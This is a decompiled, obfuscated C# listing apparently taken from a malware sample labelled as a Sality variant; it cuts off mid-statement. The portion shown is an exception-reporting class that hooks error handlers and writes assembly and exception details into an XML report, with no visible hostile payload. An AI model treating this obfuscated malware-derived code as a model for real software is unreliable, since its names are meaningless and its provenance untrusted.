C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Sality.sil-9eb937e4a3faa7c29e8cc85118a5c87d65f8716c89e5d1b13d7d7bc334ec8975.exe - -using \u0002; -using \u0003; -using \u0004; -using Microsoft.Win32; -using SmartAssembly.SmartExceptionsCore; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Net; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security; -using System.Security.Permissions; -using System.Text; -using System.Threading; -using System.Web.Services.Protocols; -using System.Xml; - -namespace \u0003 -{ - internal abstract class \u0006 - { - [NonSerialized] - internal static \u0001.\u0002 \u0001; - private static string \u0001; - internal static bool \u0001; - private IWebProxy \u0001; - private char[] \u0001 = new char[0]; - private static \u0006 \u0001; - private Exception \u0001; - private Hashtable \u0001; - private Hashtable \u0002; - private XmlTextWriter \u0001; - private ArrayList \u0001 = new ArrayList(); - private ArrayList \u0002 = new ArrayList(); - private Hashtable \u0003 = new Hashtable(); - private ArrayList \u0003 = new ArrayList(); - private Hashtable \u0004 = new Hashtable(); - private EventHandler \u0001; - private \u0004.\u0002 \u0001; - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public void \u0003([In] EventHandler obj0) => this.\u0001 = (EventHandler) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0); - - [SpecialName] - [MethodImpl(MethodImplOptions.Synchronized)] - public void \u0003([In] \u0004.\u0002 obj0) => this.\u0001 = (\u0004.\u0002) \u0018\u0003.\u0014\u0004((Delegate) this.\u0001, (Delegate) obj0); - - protected abstract void \u0003([In] \u0005.\u0002 obj0); - - protected abstract void \u0003([In] \u0004.\u0005 obj0); - - protected abstract void \u0003([In] \u0004.\u0004 obj0); - - [SecurityPermission(SecurityAction.Demand, UnmanagedCode = true)] - public static void \u0003([In] \u0006 obj0) - { - if (obj0 == null) - return; - \u0006.\u0001 = obj0; - \u008C\u0005.\u007E\u001F\u0004((object) \u0099\u0003.\u001D\u0004(), new UnhandledExceptionEventHandler(obj0.\u0003)); - \u007F\u0003.\u001F(new ThreadExceptionEventHandler(obj0.\u0003)); - } - - [SpecialName] - public char[] \u0003() - { - string str; - if (this.\u0001.Length == 0 && (str = \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1019))) != null) - { - if (!\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1032))) - { - if (\u0008\u0003.\u0081\u0003(str, \u0006.\u0001(1019))) - this.\u0001 = new char[58] - { - '\u0001', - '\u0002', - '\u0003', - '\u0004', - '\u0005', - '\u0006', - '\a', - '\b', - '\u000E', - '\u000F', - '\u0010', - '\u0011', - '\u0012', - '\u0013', - '\u0014', - '\u0015', - '\u0016', - '\u0017', - '\u0018', - '\u0019', - '\u001A', - '\u001B', - '\u001C', - '\u001D', - '\u001E', - '\u001F', - '\u007F', - '\u0080', - '\u0081', - '\u0082', - '\u0083', - '\u0084', - '\u0086', - '\u0087', - '\u0088', - '\u0089', - '\u008A', - '\u008B', - '\u008C', - '\u008D', - '\u008E', - '\u008F', - '\u0090', - '\u0091', - '\u0092', - '\u0093', - '\u0094', - '\u0095', - '\u0096', - '\u0097', - '\u0098', - '\u0099', - '\u009A', - '\u009B', - '\u009C', - '\u009D', - '\u009E', - '\u009F' - }; - } - else - this.\u0001 = new char[62] - { - 'a', - 'b', - 'c', - 'd', - 'e', - 'f', - 'g', - 'h', - 'i', - 'j', - 'k', - 'l', - 'm', - 'n', - 'o', - 'p', - 'q', - 'r', - 's', - 't', - 'u', - 'v', - 'w', - 'x', - 'y', - 'z', - 'A', - 'B', - 'C', - 'D', - 'E', - 'F', - 'G', - 'H', - 'I', - 'J', - 'K', - 'L', - 'M', - 'N', - 'O', - 'P', - 'Q', - 'R', - 'S', - 'T', - 'U', - 'V', - 'W', - 'X', - 'Y', - 'Z', - '0', - '1', - '2', - '3', - '4', - '5', - '6', - '7', - '8', - '9' - }; - } - return this.\u0001; - } - - public static void \u0003([In] Exception obj0, [In] object[] obj1) - { - try - { - if (obj0 != null && obj0 is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && \u0006.\u0001.\u0003((SecurityException) obj0)) - return; - \u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), false); - } - catch - { - \u0016\u0005.\u007F(); - } - } - - public static Exception \u0003([In] Exception obj0, [In] object[] obj1) - { - \u0006.\u0004(obj0, obj1); - return (Exception) new SoapException(\u0003\u0006.\u007E\u0001\u0004((object) obj0), SoapException.ServerFaultCode); - } - - public static void \u0004([In] Exception obj0, [In] object[] obj1) - { - try - { - if (\u0006.\u0001 == null) - { - foreach (Type type in \u0091\u0003.\u007E\u001B\u0006((object) \u0003\u0003.\u0082\u0006())) - { - if ((object) type != null && (object) \u0011\u0004.\u007E\u0016\u0005((object) type) != null) - { - // ISSUE: type reference - if ((object) \u0011\u0004.\u007E\u0016\u0005((object) type) == (object) \u0084\u0003.\u0012\u0005(__typeref (\u0006))) - { - try - { - \u0006.\u0001 = (\u0006) \u008D\u0002.\u0016\u0004(type, true); - if (\u0006.\u0001 != null) - break; - } - catch - { - } - } - } - } - } - if (\u0006.\u0001 == null) - return; - \u0006.\u0001.\u0003(UnhandledException.\u0003(obj0, obj1), true); - } - catch - { - } - } - - private void \u0003([In] object obj0, [In] ThreadExceptionEventArgs obj1) - { - try - { - if (\u001B\u0004.\u007E\u001A\u0008((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1) as SecurityException)) - return; - this.\u0003(\u001B\u0004.\u007E\u001A\u0008((object) obj1), true); - } - catch - { - } - } - - private void \u0003([In] object obj0, [In] UnhandledExceptionEventArgs obj1) - { - try - { - if (\u0010\u0005.\u007E\u008C\u0005((object) obj1) is SecurityException && \u0008\u0003.\u0081\u0003(\u0006.\u0001, \u0006.\u0001(1041)) && this.\u0003(\u0010\u0005.\u007E\u008C\u0005((object) obj1) as SecurityException) || !(\u0010\u0005.\u007E\u008C\u0005((object) obj1) is Exception)) - return; - this.\u0003((Exception) \u0010\u0005.\u007E\u008C\u0005((object) obj1), !\u009E\u0005.\u007E\u008D\u0005((object) obj1)); - } - catch - { - } - } - - private string \u0003([In] object obj0) - { - try - { - if (obj0 == null) - return string.Empty; - if (obj0 is int num1) - return num1.ToString(\u0006.\u0001(1046)); - switch (obj0) - { - case long num2: - return num2.ToString(\u0006.\u0001(1046)); - case short num3: - return num3.ToString(\u0006.\u0001(1046)); - case uint num4: - return num4.ToString(\u0006.\u0001(1046)); - case ulong num5: - return num5.ToString(\u0006.\u0001(1046)); - case ushort num6: - return num6.ToString(\u0006.\u0001(1046)); - case byte num7: - return num7.ToString(\u0006.\u0001(1046)); - case sbyte num8: - return num8.ToString(\u0006.\u0001(1046)); - case IntPtr num9: - return num9.ToInt64().ToString(\u0006.\u0001(1046)); - case UIntPtr num10: - return num10.ToUInt64().ToString(\u0006.\u0001(1046)); - } - } - catch - { - } - return string.Empty; - } - - private string \u0003([In] string obj0) => \u0087\u0003.\u007E\u008D\u0003((object) obj0, \u0006.\u0001(1051)) && \u0087\u0003.\u007E\u0089\u0003((object) obj0, \u0006.\u0001(1072)) ? \u0006.\u0001(1093) : obj0; - - private void \u0003([In] object obj0, [In] FieldInfo obj1) - { - string str1 = (object) obj1 == null ? (string) null : \u0003\u0006.\u007E\u0007\u0005((object) obj1); - string str2 = (object) obj1 == null ? \u0006.\u0001(1175) : \u0006.\u0001(1166); - if (obj0 == null) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, str2); - if ((object) obj1 != null) - { - if (\u009E\u0005.\u007E\u0096\u0006((object) obj1)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041)); - Type type = \u0011\u0004.\u007E\u0093\u0006((object) obj1); - if ((object) type != null && \u009E\u0005.\u007E\u0082\u0005((object) type)) - { - this.\u0003(\u0011\u0004.\u007E\u0083\u0005((object) type)); - if (\u009E\u0005.\u007E\u007F\u0005((object) type)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1193), \u0006.\u0001(1041)); - if (\u009E\u0005.\u007E\u0080\u0005((object) type)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1202), \u0006.\u0001(1041)); - if (\u009E\u0005.\u007E\u001F\u0005((object) type)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1215), \u008A\u0005.\u007E\u0015\u0005((object) type).ToString()); - } - else - this.\u0003(type); - } - if (str1 != null) - this.\u0003(str1); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041)); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - else - { - Type type = \u0011\u0004.\u007E\u0015\u0003(obj0); - string str3 = (string) null; - string str4 = (string) null; - if (obj0 is string) - str3 = \u0006.\u0001(1233); - if (str3 == null) - { - if (\u009E\u0005.\u007E\u0081\u0005((object) type) || obj0 is IntPtr || obj0 is UIntPtr) - { - str3 = \u0003\u0006.\u007E\u0013\u0005((object) type); - if (obj0 is char ch) - { - int num = (int) ch; - StringBuilder stringBuilder1 = new StringBuilder(); - if (num >= 32) - { - StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '\''); - StringBuilder stringBuilder3 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, (char) obj0); - StringBuilder stringBuilder4 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1254)); - } - StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0006.\u0001(1259)); - StringBuilder stringBuilder6 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, num.ToString(\u0006.\u0001(1046))); - StringBuilder stringBuilder7 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ')'); - str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1); - } - if (obj0 is bool) - str4 = \u0003\u0006.\u007E\u008E\u0003((object) \u0003\u0006.\u007E\u0013\u0003(obj0)); - if (str4 == null) - { - string str5 = string.Empty; - try - { - str5 = this.\u0003(obj0); - } - catch - { - } - if (\u008A\u0005.\u007E\u0084\u0003((object) str5) > 0) - { - StringBuilder stringBuilder8 = new StringBuilder(); - StringBuilder stringBuilder9 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0003\u0006.\u007E\u0013\u0003(obj0)); - StringBuilder stringBuilder10 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, \u0006.\u0001(1264)); - StringBuilder stringBuilder11 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder8, str5); - StringBuilder stringBuilder12 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder8, ')'); - str4 = \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder8); - } - else - str4 = \u0003\u0006.\u007E\u0013\u0003(obj0); - } - } - else if (\u009E\u0005.\u007E\u001D\u0005((object) type) && (object) \u0093\u0004.\u007E\u0010\u0005((object) type) != (object) \u0093\u0004.\u007E\u0010\u0005((object) \u0011\u0004.\u0015\u0003((object) this))) - str3 = \u0003\u0006.\u007E\u0013\u0005((object) type); - } - if (str3 != null) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, str2); - if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041)); - this.\u0003(type); - if (str1 != null) - this.\u0003(str1); - if (\u009E\u0005.\u007E\u001E\u0005((object) type)) - str4 = \u0003\u0006.\u007E\u0013\u0003(obj0); - if (obj0 is Guid) - str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(698), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1273)); - if (str4 == null) - str4 = \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), \u0003\u0006.\u007E\u0013\u0003(obj0), \u0006.\u0001(1278)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), this.\u0003(str4)); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - else - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, str2); - if ((object) obj1 != null && \u009E\u0005.\u007E\u0096\u0006((object) obj1)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1184), \u0006.\u0001(1041)); - int num = -1; - for (int index = 0; index < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index) - { - try - { - if (\u0097\u0004.\u007E\u0014\u0003(\u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index), obj0)) - { - num = index; - break; - } - } - catch - { - } - } - if (num == -1) - num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0001, obj0); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), num.ToString()); - if (str1 != null) - this.\u0003(str1); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - } - - private void \u0003([In] string obj0) - { - int num = this.\u0003(obj0); - if (num != -1) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1297), num.ToString()); - else - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), obj0); - } - - private \u0006.\u0003 \u0003([In] Type obj0) - { - \u0006.\u0003 obj = \u0006.\u0003.\u0003(); - if ((object) obj0 != null && (object) \u0092\u0003.\u007E\u001A\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0), \u0006.\u0001(1315)) != null) - { - obj.\u0001 = ((\u008A\u0005.\u007E\u000E\u0005((object) obj0) & 16777215) - 1).ToString(); - Assembly assembly = \u0008\u0005.\u007E\u0011\u0005((object) obj0); - obj.\u0001 = new \u0006.\u0002(\u008F\u0002.\u007E\u008C\u0006((object) \u0093\u0004.\u007E\u001D\u0006((object) assembly)).ToString(\u0006.\u0001(1376)), \u0003\u0006.\u007E\u0019\u0006((object) assembly)); - } - return obj; - } - - private int \u0003([In] \u0006.\u0003 obj0) - { - string str = \u0003\u0006.\u007E\u008F\u0003((object) obj0.\u0001.\u0001); - if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0004, (object) str)) - return (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0004, (object) str); - int num = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) obj0.\u0001); - \u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) str, (object) num); - return num; - } - - private void \u0003([In] Type obj0) - { - if ((object) obj0 == null) - return; - try - { - \u0006.\u0003 obj = this.\u0003(obj0); - if (!obj.\u0003()) - { - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1381), obj.\u0001); - int num = this.\u0003(obj); - if (num <= 0) - return; - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num.ToString()); - } - else - { - string str1 = \u0003\u0006.\u007E\u0013\u0005((object) obj0); - int num1; - if (\u0097\u0004.\u007E\u0004\u0006((object) this.\u0003, (object) str1)) - { - num1 = (int) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0003, (object) str1); - } - else - { - StringBuilder stringBuilder1 = new StringBuilder(); - string str2 = \u0003\u0006.\u007E\u008A\u0006((object) \u0095\u0004.\u007E\u0018\u0006((object) \u0008\u0005.\u007E\u0011\u0005((object) obj0))); - if (\u008A\u0005.\u007E\u0084\u0003((object) str2) > 0 && \u0008\u0003.\u0082\u0003(str2, \u0006.\u0001(1407))) - { - StringBuilder stringBuilder2 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '['); - StringBuilder stringBuilder3 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str2); - StringBuilder stringBuilder4 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, ']'); - } - string str3 = \u0003\u0006.\u007E\u0014\u0005((object) obj0); - if (\u008A\u0005.\u007E\u0084\u0003((object) str3) > 0) - { - StringBuilder stringBuilder5 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str3); - StringBuilder stringBuilder6 = \u0086\u0004.\u007E\u009B\u0003((object) stringBuilder1, '.'); - } - if (\u009E\u0005.\u007E\u0082\u0005((object) obj0)) - obj0 = \u0011\u0004.\u007E\u0083\u0005((object) obj0); - int num2 = \u0016\u0003.\u007E\u008C\u0003((object) str1, \u0006.\u0001(1420)); - if (num2 > 0) - { - string str4 = \u0097\u0002.\u007E\u0091\u0003((object) \u0098\u0004.\u007E\u0088\u0003((object) str1, \u008A\u0005.\u007E\u0084\u0003((object) str3) + 1, num2 - \u008A\u0005.\u007E\u0084\u0003((object) str3)), \u0006.\u0001(1420), \u0006.\u0001(1425)); - StringBuilder stringBuilder7 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, str4); - } - StringBuilder stringBuilder8 = \u0097\u0005.\u007E\u009A\u0003((object) stringBuilder1, \u0003\u0006.\u007E\u0007\u0005((object) obj0)); - num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0002, (object) \u0003\u0006.\u007E\u0013\u0003((object) stringBuilder1)); - \u0001\u0005.\u007E\u0002\u0006((object) this.\u0003, (object) str1, (object) num1); - } - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1430), num1.ToString()); - } - } - catch - { - } - } - - private int \u0003([In] string obj0) - { - try - { - bool flag1 = this.\u0003()[0] == '\u0001'; - if (obj0 == null || \u008A\u0005.\u007E\u0084\u0003((object) obj0) == 0 || flag1 && \u008A\u0005.\u007E\u0084\u0003((object) obj0) > 4 || !flag1 && \u009E\u0004.\u007E\u0083\u0003((object) obj0, 0) != '#') - return -1; - int num = 0; - for (int index1 = \u008A\u0005.\u007E\u0084\u0003((object) obj0) - 1; index1 >= 0 && (flag1 || index1 != 0); --index1) - { - char ch = \u009E\u0004.\u007E\u0083\u0003((object) obj0, index1); - bool flag2 = false; - for (int index2 = 0; index2 < this.\u0003().Length; ++index2) - { - if ((int) this.\u0003()[index2] == (int) ch) - { - num = num * this.\u0003().Length + index2; - flag2 = true; - break; - } - } - if (!flag2) - return -1; - } - return num; - } - catch - { - return -1; - } - } - - protected virtual Guid \u0003() => Guid.Empty; - - private string \u0003() - { - try - { - return \u009E\u0003.\u001D(); - } - catch - { - return \u0006.\u0001(1443); - } - } - - private Assembly[] \u0003() - { - try - { - return \u009A\u0002.\u007E\u001E\u0004((object) \u0099\u0003.\u001D\u0004()); - } - catch - { - return new Assembly[1]{ this.\u0003() }; - } - } - - private Assembly \u0003() - { - try - { - return \u0003\u0003.\u0082\u0006(); - } - catch - { - return (Assembly) null; - } - } - - private byte[] \u0003([In] string obj0) - { - MemoryStream w = new MemoryStream(); - this.\u0001 = new XmlTextWriter((Stream) w, (Encoding) new UTF8Encoding(false)); - \u0087\u0005.\u007E\u0010((object) this.\u0001); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1448)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1481), \u0003\u0006.\u007E\u008F\u0003((object) \u0006.\u0001(1498))); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1551), \u0002\u0006.\u000F\u0004().ToString(\u0006.\u0001(1564))); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1569), this.\u0003()); - Guid guid = this.\u0003(); - if (\u001B\u0003.\u0094\u0004(guid, Guid.Empty)) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1578), guid.ToString(\u0006.\u0001(1376))); - if (\u008A\u0005.\u007E\u0084\u0003((object) obj0) > 0) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1587), obj0); - if (\u008A\u0005.\u007E\u009A\u0005((object) this.\u0003) > 0) - \u0087\u0005.\u007E\u009D\u0005((object) this.\u0003); - int num1 = \u0088\u0004.\u007E\u009C\u0005((object) this.\u0003, (object) new \u0006.\u0002(\u0006.\u0001(1498), string.Empty)); - if (\u008A\u0005.\u007E\u0007\u0006((object) this.\u0004) > 0) - \u0087\u0005.\u007E\u0003\u0006((object) this.\u0004); - \u0001\u0005.\u007E\u0002\u0006((object) this.\u0004, (object) \u0006.\u0001(1498), (object) 0); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1600)); - Assembly assembly1 = this.\u0003(); - foreach (Assembly assembly2 in this.\u0003()) - { - if ((object) assembly2 != null) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1394)); - try - { - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), \u0003\u0006.\u007E\u0019\u0006((object) assembly2)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1617), \u0003\u0006.\u007E\u0017\u0006((object) assembly2)); - if ((object) assembly2 == (object) assembly1) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1630), \u0006.\u0001(1041)); - } - catch - { - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1639)); - if (this.\u0001 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0001) > 0) - { - IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0001)); - try - { - while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator)) - { - string str1 = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1664)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1306), str1); - string str2 = (string) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0001, (object) str1); - if (str2 == null) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1224), \u0006.\u0001(1041)); - else - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1283), \u0091\u0005.\u0096\u0003(\u0006.\u0001(1278), str2, \u0006.\u0001(1278))); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - finally - { - if (enumerator is IDisposable disposable) - \u0087\u0005.\u007E\u001F\u0003((object) disposable); - } - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - if (this.\u0002 != null && \u008A\u0005.\u007E\u0007\u0006((object) this.\u0002) > 0) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1685)); - IEnumerator enumerator = \u0083\u0004.\u007E\u0016\u0003((object) \u0015\u0005.\u007E\u0006\u0006((object) this.\u0002)); - try - { - while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator)) - { - string str = (string) \u0010\u0005.\u007E\u001E\u0003((object) enumerator); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1706)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1723), str); - \u0006.\u0001 obj = (\u0006.\u0001) \u0083\u0005.\u007E\u0005\u0006((object) this.\u0002, (object) str); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1728), obj.\u0001); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1741), obj.\u0001.ToString()); - if (\u008A\u0005.\u007E\u0084\u0003((object) obj.\u0003) > 0) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1750), obj.\u0003); - else - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1759), obj.\u0002); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - finally - { - if (enumerator is IDisposable disposable) - \u0087\u0005.\u007E\u001F\u0003((object) disposable); - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1768)); - try - { - \u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1793), \u0003\u0006.\u007E\u0013\u0003((object) \u0007\u0005.\u007E\u0006\u0005((object) \u0081\u0003.\u0090\u0004()))); - \u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1806), \u0003\u0006.\u007E\u0013\u0003((object) \u008C\u0004.\u007E\u0005\u0005((object) \u0081\u0003.\u0090\u0004()))); - \u0014\u0004.\u007E\u0016((object) this.\u0001, \u0006.\u0001(1823), \u0005.\u0003.\u0003()); - } - catch - { - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - ArrayList arrayList = new ArrayList(); - for (Exception exception = this.\u0001; exception != null; exception = \u001B\u0004.\u007E\u0002\u0004((object) exception)) - { - Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception); - if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865))) - { - int num2 = \u0088\u0004.\u007E\u009C\u0005((object) arrayList, (object) exception); - } - else - \u0002\u0003.\u007E\u009F\u0005((object) arrayList, 0, (object) exception); - } - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1910)); - int num3 = \u008A\u0005.\u007E\u009A\u0005((object) arrayList); - int num4 = 0; - IEnumerator enumerator1 = \u0083\u0004.\u007E\u009E\u0005((object) arrayList); - try - { - while (\u009E\u0005.\u007E\u001D\u0003((object) enumerator1)) - { - Exception exception = (Exception) \u0010\u0005.\u007E\u001E\u0003((object) enumerator1); - ++num4; - if (num4 > 100 && num4 == num3 - 100) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1927)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1948), num3.ToString()); - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - else if (num4 <= 100 || num4 > num3 - 100) - { - Type type = \u0011\u0004.\u007E\u0005\u0004((object) exception); - if (\u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0007\u0005((object) type), \u0006.\u0001(1840)) && \u0008\u0003.\u0081\u0003(\u0003\u0006.\u007E\u0014\u0005((object) type), \u0006.\u0001(1865))) - { - int num5 = 0; - int num6 = -1; - object[] objArray = (object[]) null; - \u0006.\u0003 obj1 = \u0006.\u0003.\u0003(); - bool flag = true; - try - { - num5 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1973)), (object) exception); - num6 = (int) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1986)), (object) exception); - objArray = (object[]) \u0083\u0005.\u007E\u0094\u0006((object) \u0010\u0004.\u007E\u001A\u0005((object) type, \u0006.\u0001(1999)), (object) exception); - obj1 = this.\u0003(type); - } - catch - { - flag = false; - } - if (flag && !obj1.\u0003()) - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2012)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1973), num5.ToString()); - int num7 = this.\u0003(obj1); - if (num7 > 0) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1394), num7.ToString()); - if (num6 != -1) - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1986), num6.ToString()); - foreach (object obj2 in objArray) - { - try - { - this.\u0003(obj2, (FieldInfo) null); - } - catch - { - } - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - else - { - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2029)); - try - { - this.\u0003(\u0011\u0004.\u007E\u0005\u0004((object) exception)); - string str3 = \u0006.\u0001(1443); - try - { - str3 = \u0003\u0006.\u007E\u0001\u0004((object) exception); - } - catch - { - } - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2042), str3); - string str4 = \u0003\u0006.\u007E\u0090\u0003((object) \u0003\u0006.\u007E\u0003\u0004((object) exception)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2055), str4); - int num8 = \u0004\u0005.\u007E\u008A\u0003((object) str4, ' '); - string str5 = \u009B\u0002.\u007E\u0087\u0003((object) str4, num8 + 1); - int num9 = \u0016\u0003.\u007E\u008B\u0003((object) str5, \u0006.\u0001(2084)); - if (num9 != -1) - str5 = \u0098\u0004.\u007E\u0088\u0003((object) str5, 0, num9); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(2089), str5); - } - catch - { - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - } - } - } - } - finally - { - if (enumerator1 is IDisposable disposable) - \u0087\u0005.\u007E\u001F\u0003((object) disposable); - } - \u0087\u0005.\u007E\u0013((object) this.\u0001); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(1999)); - int num10 = \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); - for (int index1 = 0; index1 < \u008A\u0005.\u007E\u009A\u0005((object) this.\u0001); ++index1) - { - object obj3 = \u0081\u0005.\u007E\u009B\u0005((object) this.\u0001, index1); - Type type = \u0011\u0004.\u007E\u0015\u0003(obj3); - \u0096\u0004.\u007E\u0012((object) this.\u0001, \u0006.\u0001(2098)); - \u0014\u0004.\u007E\u0014((object) this.\u0001, \u0006.\u0001(1292), index1.ToString()); - string str = (string) null; - try - { - str = 